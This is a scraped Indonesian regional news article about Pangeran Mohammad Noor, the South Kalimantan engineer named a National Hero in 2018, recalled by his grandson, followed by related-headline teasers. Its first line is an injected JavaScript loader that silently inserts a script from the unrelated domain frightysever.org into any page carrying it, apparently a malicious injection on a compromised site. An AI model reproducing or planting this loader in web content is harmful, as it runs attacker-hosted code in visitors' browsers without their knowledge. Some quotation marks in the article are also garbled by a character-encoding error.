(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Seperti apa sosok Ir H Pangeran Mohammad Noor, putera kelahiran Martapura, Kalsel yang dianugerahi gelar Pahlawan Nasional oleh Presiden RI Joko Widodo di Istana Negara, Jakarta, Kamis (8/11).
Salah seorang cucu Ir HPM Noor, Gusti Rudy Normansyah Noor kepada Kanal Kalimantan berbagai kenangan, kakeknya memiliki panggilan khusus dari semua cucu-cucunya. PM Noor dikenal sebagai merupakan sosok yang sangat menyayangi dan mencintai keluarga.
“Dalam keluarga kami memanggil kakek dengan sebutan nini laki, sedangkan nenek dengan sebutan nini bini. Beliau orang yang sangat bersahaja, gak neko-neko. Beliau sangat sayang keluarga, apalagi dengan semua cucunya,†ujar Gusti Rudy Normansyah Noor mengingat sang kakek.
Ir HPM Noor semasa hidup didampingi istri bernama Gusti Aminah yang berpulang ke Rahmatullah pada 29 Desember 1978. Satu bulan setelah kepergiran istri tercinta, pada 15 Januari 1979, Ir HPM Noor menyusul mendiang istrinya dengan meninggalkan 6 orang anak dan lebih dari 30 orang cucu.
Masih dari cerita kenangan Gusti Rudy Normansyah Noor, kakeknya -Ir HPM Noor- tersebut adalah sosok yang kurang suka tampil di tempat-tempat umum. Sang kakek juga merupakan seorang yang peduli dan memikirkan orang lain daripada dirinya sendiri.
“Nini laki orang yang kurang suka tampil, karena almarhum lebih suka menjadi seorang inisiator, fasilitator, dan cukup menjadi orang dibalik layar. Saya sangat tahu beliau orangnya selalu memikirkan orang banyak. Untuk kepentingan beliau sendiri belakangan, karena menurutnya paling penting orang lain lebih dulu,†cerita anak Gusti Hidayat Noor salah satu anak dari PM Noor.
Dibenak Gusti Rudy Normansyah Noor sendiri, ia masih terngiang-ngiang kenangan yang sangat berkesan sewaktu bersama kakeknya tersebut.
“Saya masih ingat kelas lima SD waktu beliau wafat. Yang saya ingat cuman satu. Gak pernah marah sama orang lain. Dan selalu senyum kepada orang lain. Ternyata setelah saya remaja saya baru sadar, bahwa beliau selalu menempatkan empati di atas segalanya,†pungkasnya.
Bertepatan dengan Hari Pahlawan, Presiden RI Joko Widodo menganugerahkan gelar pahlawan nasional terhadap 6 orang di Tanah Air melalui Keputusan RI Nomor 123/TK/Tahun 2018 tanggal 6 November 2018 tentang penganugerahan gelar pahlawan nasional. Enam tokoh yang dianugerahi gelar pahlawan nasional diantaranya Abdurrahman Baswedan (Provinsi Daerah Istimewa Yogyakarta), Agung Hajjah Andi Depu (Provinsi Sulawesi Barat), Depati Amir (Provinsi Bangka Belitung), Mr Kasman Singodimedjo (Provinsi Jawa Tengah), Ir H Pangeran Mohammad Noor (Provinsi Kalimantan Selatan), Brigjen KH Syam’un (Provinsi Banten).
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.